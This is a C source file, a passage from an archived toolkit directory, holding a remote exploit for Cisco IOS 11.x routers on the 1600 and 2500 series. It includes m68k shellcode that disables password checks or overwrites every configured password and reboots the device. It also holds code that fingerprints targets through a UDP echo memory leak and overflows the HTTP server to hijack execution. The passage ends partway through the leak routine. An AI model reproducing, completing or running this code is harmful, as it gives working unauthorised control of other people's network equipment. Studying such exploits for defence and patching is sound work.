home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / CiscoCasumEst.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  30KB  |  1,186 lines

  1. /*
  2. *               ..--==[[ Phenoelit ]]==--..
  3. *              /                                     \
  4. *             |       CISCO CASUM EST      |
  5. *              \..                                 ../
  6. *                 ~~---==(MMIII)==---~~
  7. *
  8. * Cisco IOS 12.x/11.x remote exploit for HTTP integer overflow in URL using 
  9. * IOS 11.x UDP Echo memory leak for shellcode placing and address calculation.
  10. *
  11. * This code does support exploitation of any 11.x Cisco 1600 and 2500 series 
  12. * running "ip http server" and "service udp-small-servers". In other words, 
  13. * port 80 TCP and port 7 UDP have to be open. The exploitation will take a 
  14. * very long time since the overflow is triggered by sending 2 Gigabytes of 
  15. * data to the device. Depending on your connection to the target, this may 
  16. * take up to several DAYS.
  17. *
  18. * Shellcodes:
  19. * o In case a 1600 running 11.3(11b) IP only is detected, a runtime IOS 
  20. * patching shellcode is used. After that, the device will no longer 
  21. * validate VTY and enable access passwords. Mission accomplished.
  22. * o In case of any other 11.x IOS or in case it runs from flash where 
  23. * code patching is more complicated, the shellcode will replace all 
  24. * passwords in the config with "phenoelit" and reboot the box. Change
  25. * the passwords in the shellcodes if you like.
  26. *
  27. * ---
  28. * FX of Phenoelit <fx at phenoelit.de>
  29. */
  30.  
  31. #include <stdio.h>
  32. #include <string.h>
  33. #include <unistd.h>
  34.  
  35. #include <netinet/in.h>
  36. #include <rpc/types.h>
  37. #include <netdb.h>
  38. #include <sys/socket.h>
  39. #include <arpa/inet.h>
  40.  
  41. #include "protocols.h"
  42. #include "packets.h"
  43.  
  44. char m68nop[] = "\x4E\x71";
  45. char returncode[] = 
  46. "\x24\x7c\x02\x0b\xfe\x30" //moveal #34340400,%a2 (0x00000000)
  47. "\x34\xbc\x4e\x75" //movew #20085,%a2@ (0x00000006)
  48. "\x24\x7c\x02\x04\xae\xfa" //moveal #33861370,%a2 (0x0000000A)
  49. "\x24\xfc\x30\x3c\x00\x01" //movel #809238529,%a2@+ (0x00000010)
  50. "\x24\xfc\x4c\xee\x04\x0c" //movel #1290667020,%a2@+ (0x00000016)
  51. "\x24\xfc\xff\xf4\x4e\x5e" //movel #-766370,%a2@+ (0x0000001C)
  52. "\x24\xfc\x4e\x75\x00\x00" //movel #1316290560,%a2@+ (0x00000022)
  53. "\x24\x7c\x02\x07\x21\x6a" //moveal #34021738,%a2 (0x00000028)
  54. "\x34\xbc\x4e\x71" //movew #20081,%a2@ (0x0000002E)
  55. "\x24\x4f" //moveal %sp,%a2 (0x00000032)
  56. "\x0c\x1f\x00\x02" //cmpib #2,%sp@+ (0x00000034)
  57. "\x0c\x97\x02\x19\xfc\xc0" //cmpil #35257536,%sp@ (0x00000038)
  58. "\x66\x00\xff\xf4" //bnew 34 <findret> (0x0000003E)
  59. "\x24\x8f" //movel %sp,%a2@ (0x00000042)
  60. "\x59\x92" //subql #4,%a2@ (0x00000044)
  61. "\x2c\x52" //moveal %a2@,%fp (0x00000046)
  62. "\x42\x80" //clrl %d0 (0x00000048)
  63. "\x4c\xee\x04\x00\xff\xfc" //moveml %fp@(-4),%a2 (0x0000004A)
  64. "\x4e\x5e" //unlk %fp (0x00000050)
  65. "\x4e\x75" //rts (0x00000052)
  66. ;
  67.  
  68. char modcfg[] =
  69. "\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x00000000)
  70. "\xe2\xd0" //lsrw %a0@ (0x00000006)
  71. "\x46\xfc\x27\x00" //movew #9984,%sr (0x00000008)
  72. "\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x0000000C)
  73. "\x30\xbc\x00\x01" //movew #1,%a0@ (0x00000012)
  74. "\x20\x7c\x0e\x00\x00\x00" //moveal #234881024,%a0 (0x00000016)
  75. "\x54\x88" //addql #2,%a0 (0x0000001C)
  76. "\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000001E)
  77. "\x66\xf8" //bnes 1c <find_magic> (0x00000022)
  78. "\x22\x48" //moveal %a0,%a1 (0x00000024)
  79. "\x58\x89" //addql #4,%a1 (0x00000026)
  80. "\x24\x49" //moveal %a1,%a2 (0x00000028)
  81. "\x50\x8a" //addql #8,%a2 (0x0000002A)
  82. "\x50\x8a" //addql #8,%a2 (0x0000002C)
  83. "\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000002E)
  84. "\x67\x28" //beqs 5c <end_of_config> (0x00000032)
  85. "\x4b\xfa\x00\xc6" //lea %pc@(fc <S_password>),%a5 (0x00000034)
  86. "\x61\x5a" //bsrs 94 <strstr> (0x00000038)
  87. "\x4a\x80" //tstl %d0 (0x0000003A)
  88. "\x67\x08" //beqs 46 <next1> (0x0000003C)
  89. "\x28\x40" //moveal %d0,%a4 (0x0000003E)
  90. "\x4b\xfa\x00\xcf" //lea %pc@(111 <REPLACE_password>),%a5 (0x00000040)
  91. "\x61\x62" //bsrs a8 <nvcopy> (0x00000044)
  92. "\x4b\xfa\x00\xc0" //lea %pc@(108 <S_enable>),%a5 (0x00000046)
  93. "\x61\x48" //bsrs 94 <strstr> (0x0000004A)
  94. "\x4a\x80" //tstl %d0 (0x0000004C)
  95. "\x67\x08" //beqs 58 <next2> (0x0000004E)
  96. "\x28\x40" //moveal %d0,%a4 (0x00000050)
  97. "\x4b\xfa\x00\xc8" //lea %pc@(11c <REPLACE_enable>),%a5 (0x00000052)
  98. "\x61\x50" //bsrs a8 <nvcopy> (0x00000056)
  99. "\x52\x8a" //addql #1,%a2 (0x00000058)
  100. "\x60\xd2" //bras 2e <modmain> (0x0000005A)
  101. "\x32\xbc\x00\x00" //movew #0,%a1@ (0x0000005C)
  102. "\x7e\x01" //moveq #1,%d7 (0x00000060)
  103. "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000062)
  104. "\x9d\x47" //subxw %d7,%d6 (0x00000068)
  105. "\x6b\xfc" //bmis 68 <chksm_delay> (0x0000006A)
  106. "\x2a\x48" //moveal %a0,%a5 (0x0000006C)
  107. "\x61\x50" //bsrs c0 <chksum> (0x0000006E)
  108. "\x32\x86" //movew %d6,%a1@ (0x00000070)
  109. "\x7e\x01" //moveq #1,%d7 (0x00000072)
  110. "\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000074)
  111. "\x99\x47" //subxw %d7,%d4 (0x0000007A)
  112. "\x6b\xfc" //bmis 7a <final_delay> (0x0000007C)
  113. "\x46\xfc\x27\x00" //movew #9984,%sr (0x0000007E)
  114. "\x20\x7c\x0f\xf0\x00\x00" //moveal #267386880,%a0 (0x00000082)
  115. "\x2e\x50" //moveal %a0@,%sp (0x00000088)
  116. "\x20\x7c\x0f\xf0\x00\x04" //moveal #267386884,%a0 (0x0000008A)
  117. "\x20\x50" //moveal %a0@,%a0 (0x00000090)
  118. "\x4e\xd0" //jmp %a0@ (0x00000092)
  119. "\x28\x4a" //moveal %a2,%a4 (0x00000094)
  120. "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000096)
  121. "\x67\x08" //beqs a4 <strstr_endofstr> (0x0000009A)
  122. "\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009C)
  123. "\x67\xf6" //beqs 96 <strstr_2> (0x0000009E)
  124. "\x42\x80" //clrl %d0 (0x000000A0)
  125. "\x4e\x75" //rts (0x000000A2)
  126. "\x20\x0c" //movel %a4,%d0 (0x000000A4)
  127. "\x4e\x75" //rts (0x000000A6)
  128. "\x7e\x01" //moveq #1,%d7 (0x000000A8)
  129. "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000AA)
  130. "\x67\x0e" //beqs be <nvcopy_end> (0x000000AE)
  131. "\x18\xdd" //moveb %a5@+,%a4@+ (0x000000B0)
  132. "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B2)
  133. "\x9d\x47" //subxw %d7,%d6 (0x000000B8)
  134. "\x6b\xfc" //bmis b8 <nvcopy_delay> (0x000000BA)
  135. "\x60\xec" //bras aa <nvcopyl1> (0x000000BC)
  136. "\x4e\x75" //rts (0x000000BE)
  137. "\x42\x87" //clrl %d7 (0x000000C0)
  138. "\x42\x80" //clrl %d0 (0x000000C2)
  139. "\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C4)
  140. "\x66\x0a" //bnes d4 <chk_hack> (0x000000C8)
  141. "\x52\x80" //addql #1,%d0 (0x000000CA)
  142. "\x0c\x80\x00\x00\x00\x0a" //cmpil #10,%d0 (0x000000CC)
  143. "\x67\x08" //beqs dc <chk2> (0x000000D2)
  144. "\x42\x86" //clrl %d6 (0x000000D4)
  145. "\x3c\x1d" //movew %a5@+,%d6 (0x000000D6)
  146. "\xde\x86" //addl %d6,%d7 (0x000000D8)
  147. "\x60\xe8" //bras c4 <chk1> (0x000000DA)
  148. "\x2c\x07" //movel %d7,%d6 (0x000000DC)
  149. "\x2a\x07" //movel %d7,%d5 (0x000000DE)
  150. "\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000E0)
  151. "\xe0\x8d" //lsrl #8,%d5 (0x000000E6)
  152. "\xe0\x8d" //lsrl #8,%d5 (0x000000E8)
  153. "\xdc\x45" //addw %d5,%d6 (0x000000EA)
  154. "\x28\x06" //movel %d6,%d4 (0x000000EC)
  155. "\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EE)
  156. "\x66\x00\xff\xea" //bnew e0 <chk3> (0x000000F4)
  157. "\x46\x46" //notw %d6 (0x000000F8)
  158. "\x4e\x75" //rts (0x000000FA)
  159.  
  160. "\x0a"" password ""\x00"
  161. "\x0a""enable ""\x00"
  162. "phenoelit\x0a""\x00"
  163. "password phenoelit\x0a""\x00"
  164. ;
  165.  
  166.  
  167. char modcfg2k5[] = 
  168. "\x46\xfc\x27\x00" //movew #9984,%sr (0x00000000)
  169. "\x20\x7c\x02\x00\x00\x00" //moveal #33554432,%a0 (0x00000004)
  170. "\x54\x88" //addql #2,%a0 (0x0000000A)
  171. "\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000000C)
  172. "\x66\xf8" //bnes a <find_magic> (0x00000010)
  173. "\x22\x48" //moveal %a0,%a1 (0x00000012)
  174. "\x58\x89" //addql #4,%a1 (0x00000014)
  175. "\x24\x49" //moveal %a1,%a2 (0x00000016)
  176. "\x50\x8a" //addql #8,%a2 (0x00000018)
  177. "\x50\x8a" //addql #8,%a2 (0x0000001A)
  178. "\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000001C)
  179. "\x67\x28" //beqs 4a <end_of_config> (0x00000020)
  180. "\x4b\xfa\x00\xd6" //lea %pc@(fa <S_password>),%a5 (0x00000022)
  181. "\x61\x6a" //bsrs 92 <strstr> (0x00000026)
  182. "\x4a\x80" //tstl %d0 (0x00000028)
  183. "\x67\x08" //beqs 34 <next1> (0x0000002A)
  184. "\x28\x40" //moveal %d0,%a4 (0x0000002C)
  185. "\x4b\xfa\x00\xdf" //lea %pc@(10f <REPLACE_password>),%a5 (0x0000002E)
  186. "\x61\x72" //bsrs a6 <nvcopy> (0x00000032)
  187. "\x4b\xfa\x00\xd0" //lea %pc@(106 <S_enable>),%a5 (0x00000034)
  188. "\x61\x58" //bsrs 92 <strstr> (0x00000038)
  189. "\x4a\x80" //tstl %d0 (0x0000003A)
  190. "\x67\x08" //beqs 46 <next2> (0x0000003C)
  191. "\x28\x40" //moveal %d0,%a4 (0x0000003E)
  192. "\x4b\xfa\x00\xd8" //lea %pc@(11a <REPLACE_enable>),%a5 (0x00000040)
  193. "\x61\x60" //bsrs a6 <nvcopy> (0x00000044)
  194. "\x52\x8a" //addql #1,%a2 (0x00000046)
  195. "\x60\xd2" //bras 1c <modmain> (0x00000048)
  196. "\x42\x80" //clrl %d0 (0x0000004A)
  197. "\x2a\x49" //moveal %a1,%a5 (0x0000004C)
  198. "\x52\x00" //addqb #1,%d0 (0x0000004E)
  199. "\x1a\xfc\x00\x00" //moveb #0,%a5@+ (0x00000050)
  200. "\x7e\x01" //moveq #1,%d7 (0x00000054)
  201. "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000056)
  202. "\x9d\x47" //subxw %d7,%d6 (0x0000005C)
  203. "\x6b\xfc" //bmis 5c <chksm_delay> (0x0000005E)
  204. "\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000060)
  205. "\x66\xe8" //bnes 4e <chksm_del> (0x00000064)
  206. "\x2a\x48" //moveal %a0,%a5 (0x00000066)
  207. "\x61\x54" //bsrs be <chksum> (0x00000068)
  208. "\x2a\x49" //moveal %a1,%a5 (0x0000006A)
  209. "\x52\x8d" //addql #1,%a5 (0x0000006C)
  210. "\x42\x80" //clrl %d0 (0x0000006E)
  211. "\x52\x00" //addqb #1,%d0 (0x00000070)
  212. "\x1a\x86" //moveb %d6,%a5@ (0x00000072)
  213. "\x7e\x01" //moveq #1,%d7 (0x00000074)
  214. "\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000076)
  215. "\x99\x47" //subxw %d7,%d4 (0x0000007C)
  216. "\x6b\xfc" //bmis 7c <final_delay> (0x0000007E)
  217. "\xe0\x4e" //lsrw #8,%d6 (0x00000080)
  218. "\x2a\x49" //moveal %a1,%a5 (0x00000082)
  219. "\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000084)
  220. "\x66\xe6" //bnes 70 <final_wr> (0x00000088)
  221. "\x20\x7c\x03\x00\x00\x60" //moveal #50331744,%a0 (0x0000008A)
  222. "\x4e\xd0" //jmp %a0@ (0x00000090)
  223. "\x28\x4a" //moveal %a2,%a4 (0x00000092)
  224. "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000094)
  225. "\x67\x08" //beqs a2 <strstr_endofstr> (0x00000098)
  226. "\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009A)
  227. "\x67\xf6" //beqs 94 <strstr_2> (0x0000009C)
  228. "\x42\x80" //clrl %d0 (0x0000009E)
  229. "\x4e\x75" //rts (0x000000A0)
  230. "\x20\x0c" //movel %a4,%d0 (0x000000A2)
  231. "\x4e\x75" //rts (0x000000A4)
  232. "\x7e\x01" //moveq #1,%d7 (0x000000A6)
  233. "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000A8)
  234. "\x67\x0e" //beqs bc <nvcopy_end> (0x000000AC)
  235. "\x18\xdd" //moveb %a5@+,%a4@+ (0x000000AE)
  236. "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B0)
  237. "\x9d\x47" //subxw %d7,%d6 (0x000000B6)
  238. "\x6b\xfc" //bmis b6 <nvcopy_delay> (0x000000B8)
  239. "\x60\xec" //bras a8 <nvcopyl1> (0x000000BA)
  240. "\x4e\x75" //rts (0x000000BC)
  241. "\x42\x87" //clrl %d7 (0x000000BE)
  242. "\x42\x80" //clrl %d0 (0x000000C0)
  243. "\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C2)
  244. "\x66\x0a" //bnes d2 <chk_hack> (0x000000C6)
  245. "\x52\x80" //addql #1,%d0 (0x000000C8)
  246. "\x0c\x80\x00\x00\x00\x14" //cmpil #20,%d0 (0x000000CA)
  247. "\x67\x08" //beqs da <chk2> (0x000000D0)
  248. "\x42\x86" //clrl %d6 (0x000000D2)
  249. "\x3c\x1d" //movew %a5@+,%d6 (0x000000D4)
  250. "\xde\x86" //addl %d6,%d7 (0x000000D6)
  251. "\x60\xe8" //bras c2 <chk1> (0x000000D8)
  252. "\x2c\x07" //movel %d7,%d6 (0x000000DA)
  253. "\x2a\x07" //movel %d7,%d5 (0x000000DC)
  254. "\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000DE)
  255. "\xe0\x8d" //lsrl #8,%d5 (0x000000E4)
  256. "\xe0\x8d" //lsrl #8,%d5 (0x000000E6)
  257. "\xdc\x45" //addw %d5,%d6 (0x000000E8)
  258. "\x28\x06" //movel %d6,%d4 (0x000000EA)
  259. "\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EC)
  260. "\x66\x00\xff\xea" //bnew de <chk3> (0x000000F2)
  261. "\x46\x46" //notw %d6 (0x000000F6)
  262. "\x4e\x75" //rts (0x000000F8)
  263.  
  264. "\x0a"" password ""\x00"
  265. "\x0a""enable ""\x00"
  266. "phenoelit\x0a""\x00"
  267. "password phenoelit\x0a""\x00"
  268. ;
  269.  
  270. //
  271. // address selection strategies 
  272. //
  273. #define S_RANDOM 1
  274. #define S_LAST 2
  275. #define S_SMALLEST 3
  276. #define S_HIGHEST 4
  277. #define S_FREQUENT 5
  278. typedef struct {
  279. unsigned int a;
  280. unsigned int count;
  281. } addrs_t;
  282. #define LOW_ADDR_THR 5
  283. #define LOW_COUNT_THR 3
  284.  
  285.  
  286. //
  287. // IO memory block header based fingerprinting
  288. //
  289. static struct {
  290. unsigned int PC_start;
  291. unsigned int PC_end;
  292. unsigned int IO_start;
  293. unsigned int IO_end;
  294. char *name;
  295. unsigned char *code;
  296. unsigned int codelen;
  297. unsigned char *nop;
  298. unsigned int noplen;
  299. unsigned int fakefp;
  300. } cisco_boxes[] = {
  301. {0x08000000, 0x08ffffff, 0x02C00000, 0x02FFFFFF,
  302. "Cisco 1600 series, run from Flash", 
  303. modcfg, sizeof(modcfg)-1, 
  304. m68nop, sizeof(m68nop)-1 ,
  305. 0x02f0f1f2
  306. },
  307.  
  308. {0x0208F600, 0x0208F93C, 0x02C00000, 0x02FFFFFF,
  309. "Cisco 1603, 11.3(11b) IP only, run from RAM", 
  310. returncode, sizeof(returncode)-1,
  311. m68nop, sizeof(m68nop)-1 ,
  312. 0x02f0f1f2
  313. },
  314.  
  315. {0x03000000, 0x037FFFFF, 0x00E00000, 0x00FFFFFF,
  316. "Cisco 2500 series, run from Flash",
  317. modcfg2k5, sizeof(modcfg2k5)-1,
  318. m68nop, sizeof(m68nop)-1,
  319. 0x00079000
  320. },
  321.  
  322. {0,0,0,0,NULL,NULL,0,NULL,0,0}
  323. };
  324.  
  325.  
  326. // ***************** Status and other tracking *******************
  327.  
  328. //
  329. // HTTP communication 
  330. //
  331. struct {
  332. int sfd;
  333. unsigned int done;
  334. } http;
  335.  
  336. // 
  337. // UDP leak 
  338. //
  339. #define MAXADDRS 100
  340. #define DEFAULTRUNS 206
  341. #define LOCALPORT 31336 // almost 31337 ;)
  342. #define PACKETMAX 1400
  343. struct {
  344. int sfd;
  345. int udpsfd;
  346. int guess;
  347. addrs_t addrs[MAXADDRS];
  348. unsigned int addrc;
  349. unsigned int lastaddr;
  350. int nop_offset;
  351. int nop_sled;
  352. } leak;
  353.  
  354. //
  355. // config
  356. //
  357. struct {
  358. char *device;
  359. char *target;
  360. struct in_addr target_addr;
  361. int verbose;
  362. int testmode;
  363. int strategy;
  364. unsigned int leakme;
  365. unsigned int timeout;
  366. unsigned int leakruns;
  367. } cfg;
  368.  
  369.  
  370. //
  371. // function prototypes
  372. //
  373. void usage(char *s);
  374. void *smalloc(size_t s);
  375. int HTTPpre(void);
  376. void HTTPsend(char *what);
  377. int IOSlack(unsigned int runs, int shellcode);
  378. unsigned char *UDPecho( unsigned int *plen, 
  379. unsigned char *payload, unsigned int payload_len);
  380. void UDPanalyze(unsigned char *b, unsigned int len,
  381. unsigned char *expected, unsigned int expected_length);
  382. unsigned int SelectAddress(void);
  383. int CheckForbidden(unsigned int address);
  384.  
  385.  
  386. // *************************** main code *************************
  387.  
  388.  
  389. int main(int argc, char **argv) {
  390. // 
  391. // HTTP elements
  392. //
  393. char token6[] ="/Cisco";
  394. char token50[]="/AnotherLemmingAndAntoherLemmingAndAnotherLemmingX";
  395. char token48[]="/HereComesTheFinalLemmingAndClosesTheGapForever/";
  396. char httpend[]=" HTTP/1.0\r\n\r\n";
  397. char overflow[30];
  398. // 
  399. // stuff we need
  400. //
  401. unsigned int i;
  402. int saved_guess;
  403. unsigned int retaddr;
  404. // 
  405. // command line
  406. //
  407. char option;
  408. extern char *optarg;
  409. //
  410. // output stuff
  411. //
  412. double percent;
  413. double lpercent=(double)0;
  414.  
  415.  
  416. memset(&cfg,0,sizeof(cfg));
  417. memset(&leak,0,sizeof(leak));
  418. memset(&http,0,sizeof(http));
  419. // 
  420. // set defaults
  421. //
  422. cfg.leakme=0x4C00;
  423. cfg.timeout=3;
  424. cfg.leakruns=DEFAULTRUNS;
  425. cfg.strategy=S_SMALLEST;
  426.  
  427. while ((option=getopt(argc,argv,"vTA:t:L:R:d:i:"))!=EOF) {
  428. switch(option) {
  429. case 'v': cfg.verbose++;
  430. break;
  431. case 'T': cfg.testmode++;
  432. break;
  433. case 'A': cfg.strategy=(int)strtoul(optarg,(char **)NULL,10);
  434. break;
  435. case 't': cfg.timeout=(int)strtoul(optarg,(char **)NULL,10);
  436. break;
  437. case 'L': cfg.leakme=(int)strtoul(optarg,(char **)NULL,10);
  438. break;
  439. case 'R': cfg.leakruns=(int)strtoul(optarg,(char **)NULL,10);
  440. break;
  441. case 'd': {
  442. struct hostent *he;
  443. if ((he=gethostbyname(optarg))==NULL) { 
  444. fprintf(stderr,"Could not resolve %s\n",cfg.target);
  445. return (-1);
  446. }
  447. bcopy(he->h_addr,
  448. (char *)&(cfg.target_addr.s_addr),
  449. he->h_length);
  450. cfg.target=smalloc(strlen(optarg)+1);
  451. strcpy(cfg.target,optarg);
  452. }
  453. break;
  454. case 'i': cfg.device=smalloc(strlen(optarg)+1);
  455. strcpy(cfg.device,optarg);
  456. break;
  457. default: usage(argv[0]);
  458. // does not return
  459. }
  460. }
  461.  
  462. // 
  463. // idiot check
  464. //
  465. if ( !(cfg.device && *((u_int32_t *)&(cfg.target_addr)) )) 
  466. usage(argv[0]);
  467.  
  468. //
  469. // verify the UDP leak and make sure it's a known box
  470. //
  471. if (IOSlack(1,-1)!=0) {
  472. fprintf(stderr,"You need an IOS 11.x target with UDP echo service enabled\n"
  473. "for this thing to work. Obviously, you don't have that.\n");
  474. return (1);
  475. }
  476. if (leak.guess==(-1)) {
  477. fprintf(stderr,"Apparently, you got a good target, but it's not one of the\n"
  478. "platforms we got code for. Life sucks.\n");
  479. return (1);
  480. } else {
  481. printf("Target identified as '%s'.\n",cisco_boxes[leak.guess].name);
  482. if (cfg.verbose) {
  483. printf("Using the following code:\n");
  484. hexdump(cisco_boxes[leak.guess].code,
  485. cisco_boxes[leak.guess].codelen);
  486. }
  487. saved_guess=leak.guess;
  488. }
  489. if (leak.lastaddr == 0) {
  490. printf("The memory leak data did not contain enough information to\n"
  491. "calculate the addresses correctly. The router may be busy,\n"
  492. "in which case this method is likely to fail!\n");
  493. return (2);
  494. } else {
  495. printf("Calculated address in test: 0x%08X\n",leak.lastaddr);
  496. }
  497.  
  498. //
  499. // Connect to HTTP server and send the first "GET "
  500. //
  501. if (HTTPpre()!=0) return 1;
  502.  
  503. //
  504. // fill normal buffer
  505. //
  506. printf("Sending token50 x 0x5 + token6 ...\n");
  507. HTTPsend(token50);
  508. HTTPsend(token50);
  509. HTTPsend(token50);
  510. HTTPsend(token50);
  511. HTTPsend(token50);
  512. HTTPsend(token6);
  513.  
  514. //
  515. // send enough data to overflow the counter
  516. //
  517. i=1;
  518. printf("Sending token50 x 0x28F5C28 (2 Gigabytes of data)...\n");
  519. while (i<=0x28F5C28) {
  520.  
  521. if (!cfg.testmode) HTTPsend(token50);
  522. http.done+=50;
  523. i++;
  524.  
  525. //
  526. // output
  527. //
  528. percent = (double)http.done / (double)0x80000000;
  529. if ( percent > lpercent+0.0001 ) {
  530. printf("%5.2f%% done\n",percent * 100);
  531. lpercent=percent;
  532. }
  533. }
  534. printf("Sending final token48 ...\n");
  535. HTTPsend(token48);
  536.  
  537. //
  538. // Use infoleak to transfer code and calculate address
  539. //
  540. memset(&leak,0,sizeof(leak));
  541. if (IOSlack(cfg.leakruns,saved_guess)!=0) {
  542. fprintf(stderr,"Your target does no longer leak memory. This could have\n"
  543. "several reasons, but it sure prevents you from exploiting it.\n");
  544. return (-1);
  545. } else {
  546. printf("Aquired %u addresses with our code\n",leak.addrc);
  547. if (leak.addrc<LOW_ADDR_THR) {
  548. printf( "WARNING: This is a low number of addresses.\n"
  549. " The target is probably busy!!\n");
  550. }
  551. }
  552. if (saved_guess!=leak.guess) 
  553. printf("Errrmmm... your target type changed. Just so you know, \n"
  554. "it's not supposed to do that\n");
  555.  
  556. // 
  557. // prepare the overflow buffer
  558. //
  559. printf("Selecting address, using nop sled of %u and offset in the sled of %u\n",
  560. leak.nop_sled, leak.nop_offset);
  561. if ( (retaddr=SelectAddress()) == 0) return (-1);
  562.  
  563. memset(&overflow,0,sizeof(overflow));
  564. sprintf(overflow,
  565. "BB%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X"
  566. ,
  567. (unsigned char)( (cisco_boxes[saved_guess].fakefp>>24)&0xFF),
  568. (unsigned char)( (cisco_boxes[saved_guess].fakefp>>16)&0xFF),
  569. (unsigned char)( (cisco_boxes[saved_guess].fakefp>> 8)&0xFF),
  570. (unsigned char)( (cisco_boxes[saved_guess].fakefp )&0xFF),
  571. (unsigned char)( (retaddr>>24)&0xFF),
  572. (unsigned char)( (retaddr>>16)&0xFF),
  573. (unsigned char)( (retaddr>> 8)&0xFF),
  574. (unsigned char)( (retaddr )&0xFF));
  575.  
  576. if (cfg.verbose) hexdump(overflow,sizeof(overflow)-1);
  577.  
  578. // 
  579. // perform overflow and overwrite return address
  580. //
  581. printf("Sending overflow of %u bytes\n",strlen(overflow));
  582. HTTPsend(overflow);
  583. printf("Sending final HTTP/1.0\n");
  584. HTTPsend(httpend);
  585. close(http.sfd);
  586.  
  587. // 
  588. // all done
  589. //
  590. return 0;
  591. }
  592.  
  593.  
  594. void usage(char *s) {
  595. fprintf(stderr,"Usage: %s -i <interface> -d <target> [-options]\n",s);
  596. fprintf(stderr,"Options are:\n"
  597. "-v Verbose mode.\n"
  598. "-T Test mode, don't really exploit\n"
  599. "-An Address selection strategy. Values are:\n"
  600. " 1 (random), 2 (last), 3 (smallest), 4 (highest), 5 (most frequent)\n"
  601. "-tn Set timeout for info leak to n seconds\n"
  602. "-Ln Set requested memory leak to n bytes\n"
  603. "-Rn Set number of final leak runs to n\n"
  604. );
  605. exit (1);
  606. }
  607.  
  608.  
  609. // 
  610. // *********************** HTTP related **************************
  611. //
  612.  
  613.  
  614. int HTTPpre(void) {
  615. char get[] = "GET ";
  616. struct sockaddr_in sin;
  617. struct hostent *he;
  618.  
  619. memset(&sin,0,sizeof(struct sockaddr_in));
  620. if ((he=gethostbyname(cfg.target))==NULL) { 
  621. fprintf(stderr,"Could not resolve %s\n",cfg.target);
  622. return (-1);
  623. }
  624.  
  625. sin.sin_family=AF_INET;
  626. sin.sin_port=htons(80);
  627. bcopy(he->h_addr,(char *)&sin.sin_addr,he->h_length);
  628. bzero(&(sin.sin_zero),8);
  629.  
  630. if ((http.sfd=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
  631. fprintf(stderr,"socket(TCP) error\n");
  632. return(-1);
  633. }
  634.  
  635. printf("Connecting to HTTP server on %s ...\n",cfg.target);
  636.  
  637. if (connect(http.sfd,(struct sockaddr *)&sin,sizeof(sin))<0) {
  638. fprintf(stderr,"Failed to connect to HTTP\n");
  639. return (-1);
  640. }
  641.  
  642. printf("Connected!\n");
  643.  
  644. //
  645. // send "GET "
  646. //
  647. HTTPsend(get);
  648. return 0;
  649. }
  650.  
  651.  
  652. void HTTPsend(char *what) {
  653. if (send(http.sfd,what,strlen(what),0)<0) {
  654. fprintf(stderr,"send() failed!\n");
  655. exit(-1);
  656. }
  657. }
  658.  
  659.  
  660. // 
  661. // *********************** UDP related **************************
  662. //
  663.  
  664. int IOSlack(unsigned int runs, int shellcode) {
  665. // 
  666. // the leak packet
  667. //
  668. #define DUMMY_SIZE 512
  669. unsigned char *packet;
  670. unsigned int length;
  671. char dummy[DUMMY_SIZE];
  672. unsigned char *sc,*st;
  673. unsigned int sclen;
  674. // 
  675. // recv stuff
  676. //
  677. char *rbuf;
  678. unsigned int rx;
  679. // 
  680. // doing the stuff
  681. //
  682. unsigned int r;
  683. struct sockaddr_in frm;
  684. int frmlen=sizeof(struct sockaddr_in);
  685. fd_set rfds;
  686. struct timeval tv;
  687. int select_ret;
  688. int recvflag;
  689. struct sockaddr_in myself;
  690.  
  691.  
  692. //
  693. // init
  694. //
  695. leak.guess=(-1);
  696. r=runs;
  697. recvflag=0;
  698. st=NULL;
  699.  
  700. // 
  701. // get the sockets
  702. //
  703. if ( (leak.sfd=init_socket_IP4(cfg.device,1)) == (-1) ) {
  704. fprintf(stderr,"Couldn't grab a raw socket\n");
  705. return (-1);
  706. }
  707.  
  708. myself.sin_family=AF_INET;
  709. myself.sin_port=htons(LOCALPORT);
  710. myself.sin_addr.s_addr=INADDR_ANY;
  711. if ( (leak.udpsfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) <0) {
  712. fprintf(stderr,"Couldn't grab a UDP socket\n");
  713. return (-1);
  714. }
  715. if ( bind(leak.udpsfd,(struct sockaddr *)&myself,sizeof(struct sockaddr)) != 0) {
  716. fprintf(stderr,"bind() failed\n");
  717. return (-1);
  718. }
  719.  
  720. // 
  721. // determine packet contents and make a packet
  722. //
  723. if (shellcode==(-1)) {
  724. memset(&dummy,0x50,DUMMY_SIZE-1);
  725. dummy[DUMMY_SIZE-1]=0x00;
  726. sc=dummy;
  727. sclen=DUMMY_SIZE-1;
  728. } else {
